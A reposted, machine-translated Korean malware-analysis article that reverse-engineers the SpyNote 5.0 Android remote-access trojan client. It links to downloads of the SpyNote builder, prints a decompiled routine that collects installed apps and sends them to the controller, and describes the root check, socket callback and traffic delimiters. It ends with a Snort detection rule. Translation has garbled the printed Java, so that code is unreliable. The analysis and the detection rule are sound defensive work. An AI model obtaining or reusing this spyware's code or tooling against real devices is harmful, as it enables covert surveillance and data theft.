>  기사  >  운영 및 유지보수  >  SpyNote5.0 Client_APK의 역분석을 수행하는 방법

SpyNote5.0 Client_APK의 역분석을 수행하는 방법

王林
王林앞으로
2023-05-22 16:18:301295검색

1. SpyNote5.0이란?

SpyNote는 안드로이드 악성 프로그램을 만드는 데 사용되는 도구입니다. 연락처 읽기, 녹음, 명령 실행, 응용 프로그램 관리, 키보드 녹음, GPS 위치 지정 수행 등을 포함하되 이에 국한되지 않는 기능은 매우 눈길을 끕니다. 이러한 기능은 Android 악성 코드를 연구할 때 중요한 역할을 합니다. "SpyNote V5.0 그래픽 도구 원격 관리 안드로이드 폰 튜토리얼", "조심하세요. 안드로이드 트로이 목마 도구인 SpyNote는 무료입니다!"라는 일련의 기사를 통해 그 사용법을 미리 이해할 수 있습니다. 원격 모니터링이 너무 간단해요", "조심하세요, 안드로이드 원격제어(스파이노트)가 업그레이드 됐어요.." 등의 반응을 보였습니다.

2. 도구 준비

SpyNote5.0 Client_APK의 역분석에 관심이 있는 사람은 거의 없습니다. 아래에서는 도구 사용에 대해 간략하게 소개하고 역분석 프로세스를 시작합니다.

1. SpyNote5.0

다운로드 주소: https://github.com/soDLL/SpyNote 또는 https://github.com/miladzero/SpyNote

怎么进行SpyNote5.0 Client_APK逆向分析

2.jadx-gui

https://github.com/skylot/jadx/releases

怎么进行SpyNote5.0 Client_APK逆向分析

3, androidkiller

다운로드 주소: https://www.guguzhu.com/soft/270509.html

怎么进行SpyNote5.0 Client_APK逆向分析

3. 엔지니어링 분석

Client_APK 분석을 시작합니다. 우리는 보통 클라이언트에서 생성한 APK 프로그램을 androidkiller로 드래그하는 것을 좋아합니다. 프로그램을 AndroidKiller로 드래그하면 자동으로 프로그램이 분해되어 분석 결과가 생성됩니다.

怎么进行SpyNote5.0 Client_APK逆向分析

상속 관계에 따라 왼쪽에 Activity, Receiver, Service 및 애플리케이션 권한(Uses-Permisson)을 분류해 보면 클라이언트가 많은 애플리케이션 권한을 요구하는 것을 볼 수 있습니다. 오른쪽에는 메일 어셈블리 창과 작업대가 있습니다. 이 도구는 권한 및 다양한 상속 관계를 명확하게 표시할 수 있지만 도구의 하위 버전으로 인해 코드 복원이 충분히 완료되지 않았습니다. 도구를 변경하고 jadx-gui를 사용한 다음 리버스 엔지니어링을 시작하고 Client_APK를 가져왔습니다.

怎么进行SpyNote5.0 Client_APK逆向分析

android.support, con.eset.ems2.gp, yps.eton.application이라는 세 가지 패키지를 볼 수 있습니다. 그 중 android.support는 낮은 버전인 v4, v7을 포함하는 Android 지원 패키지이고, con.eset.ems2.gp는 호스트, client_name 및 기타 정보가 포함된 구성 패키지입니다. 분석이 필요합니다.

yps.eton.application을 열면 14개의 클래스를 볼 수 있습니다. 분석해야 할 코드가 많기 때문에 일부 핵심 코드는 타겟 방식으로 분석됩니다.

怎么进行SpyNote5.0 Client_APK逆向分析

이전 androidkiller 분석 구조를 보면 글쓰기 클래스 A, F, G, k가 Service를 상속받고, Service가 안드로이드 시스템에서 백그라운드에서 계속 실행되는 것을 나타낸다는 것을 알 수 있습니다. 지속적으로 실행되어야 하는 Client_APK에 무엇이 있을지 추측해 볼 수도 있습니다. 아마도 주요 개체는 지속적으로 실행, 제어, 모니터링, 다중 스레드 등이 될 것입니다. 우리의 분석은 일부 기능과 트래픽을 식별하는 방법에 중점을 둡니다.

3.1 명령 실행 시작 분석

메서드 A로 시작하여 먼저 서비스를 시작한 다음 R 개체를 순회하여 세 번째 요소를 가져오고 1과 같으면 j() 함수를 실행합니다. 그렇지 않으면 a()가 인스턴스화되었는지 확인한 후 서비스를 시작하십시오. 그런 다음 j()에 루트 권한이 있는지 계속 확인합니다.

怎么进行SpyNote5.0 Client_APK逆向分析

계속해서 j()를 살펴보세요. j()에서 su 명령을 실행한 후 /system/sd/temporary.txt 파일에 Do I have root?라고 쓰고 루트 권한이 있는지 판단합니다.

怎么进行SpyNote5.0 Client_APK逆向分析

다음으로 멀티스레딩을 사용하여 R 객체에 저장된 구성 매개변수를 얻고 루프와 소켓을 사용하여 정보를 반환하는 h()를 살펴보세요.

怎么进行SpyNote5.0 Client_APK逆向分析

3.2 Base64 인코딩 응용 프로그램의 부분 기능 분석

객체 A의 가져오기 목록을 살펴보면 android.util.Base64가 포함되어 있는 것을 발견했는데, 이는 작업 중에 base64 인코딩이 사용되었음을 나타냅니다. 그런 다음 Base64 키워드를 검색하면 Base64가 실제로 내부 애플리케이션 아이콘인 ((BitmapDrawable) applicationIcon).getBitmap()으로 래핑된 것을 볼 수 있습니다. 클라이언트는 9xf89fff9xf89로 끝나는 c0c1c3a2c0c1c 분할을 통해 일부 정보를 전달하고 예외 정보 및 옵션에 fxf0x4x4x0fxf를 사용합니다.

<br>
<br>

public void k() {        new Thread(new Runnable() {            public void run() {                String str;                시도 {                    StringBuffer stringBuffer = new StringBuffer();                   PackageManager packageManager = A.this.getApplicationContext().getPackageManager(); for (ApplicationInfo applicationInfo : packageManager.getInstalledApplications(128)) {                        if (packageManager.getLaunchIntentForPackage(applicationInfo.packageName) != null && !packageManager.getLaunchIntentForPackage(applicationInfo.packageName).equals("")) {                         시도해 보세요 {                                날짜 날짜 = 신규 Date(packageManager.getPackageInfo(applicationInfo.packageName, 4096).firstInstallTime);                                 String str2 = packageManager.getLaunchIntentForPackage(applicationInfo.packageName) != null ? (applicationInfo.flags & 1) == 1 ? "";                                 드로어블 applicationIcon = packageManager.getApplicationIcon(applicationInfo.packageName);                                문자열 str3 = 새 문자열();                                if (applicationIcon != null) {                                    비트맵 비트맵 = ((BitmapDrawable) applicationIcon).getBitmap();                                    ByteArrayOutputStream byteArrayOutputStream = 새로운 ByteArrayOutputStream();                                    bitmap.compress(CompressFormat.JPEG, 50, byteArrayOutputStream);                                    str = Base64.encodeToString(byteArrayOutputStream.toByteArray(), 2);                                } else {                                    str = str3;                                and c1c" + date.toString() + "c0c1c3a2c0c1c" + A.this. getPackageName() + "9xf89fff9xf89");                            } catch (NameNotFoundException e) {                                A.this.h("applicationsfxf0x4x4x0fxf[My/Exception]" + e.getMessage().toString());                            }                      }                    }                    A.this.h("applicationsfxf0x4x4x0fxf" + stringBuffer.toString());                } catch(예외 e2) {                    A.this.h("applicationsfxf0x4x4x0fxf[My/Exception]" + e2.getMessage().toString());                } } }).시작();    }

3.3 信息获取부분분功能分析

객체 A에는 너무 많은 스위치 케이스 문 분기를 사용하여 디스어셈블리에서 예외를 발생시키는 매우 긴 메서드 b가 포함되어 있습니다. 정보를 얻기 위한 대부분의 논리가 주석에 구현되어 있음을 주석에서 확인하는 것은 어렵지 않습니다. 예: 도구에서 홍보하는 기능을 포함한 장치 정보, 시스템 정보, Sim 정보, WIFI 정보 등.

怎么进行SpyNote5.0 Client_APK逆向分析

저장 경로를 얻는 데 사용되는 메서드 b를 다시 작성할 때 주목할 만한 몇 가지 사항이 있습니다. 전송 경로 정보의 구분 기호는 e1x1114x61114e를 사용합니다. 파일 이름 정보 구분 기호는 -1c0c1c3a2c0c1c-1c0c1c3a2c0c1c-1c0c1c3a2c0c1c를 사용합니다. 이 정보는 배송 중 고객의 작업을 보다 정확하게 판단하는 데 사용될 수 있습니다.

怎么进行SpyNote5.0 Client_APK逆向分析

4. 요약

각 기능의 구현은 분석 과정에서 볼 수 있습니다. 클라이언트가 암호화되지 않은 전송과 기본 인코딩된 전송을 사용할 때 가장 눈에 띄는 기능은 구분 기호의 모양입니다. 클라이언트의 전송 행위는 프로그램을 통해 효과적으로 판단될 수 있습니다. 따라서 패킷은 전송 프로세스 중에 캡처됩니다.

怎么进行SpyNote5.0 Client_APK逆向分析

구분 기호와 base64 인코딩 내용이 사진에 명확하게 표시되어 있습니다. 이 시점에서 식별을 위해 Snort에 규칙을 작성할 수 있습니다.

alert tcp any any -> any any (content: "fxf0x4x4x0fxf"; sid:1; msg:SpyNote5.0 Client;)

위 내용은 SpyNote5.0 Client_APK의 역분석을 수행하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제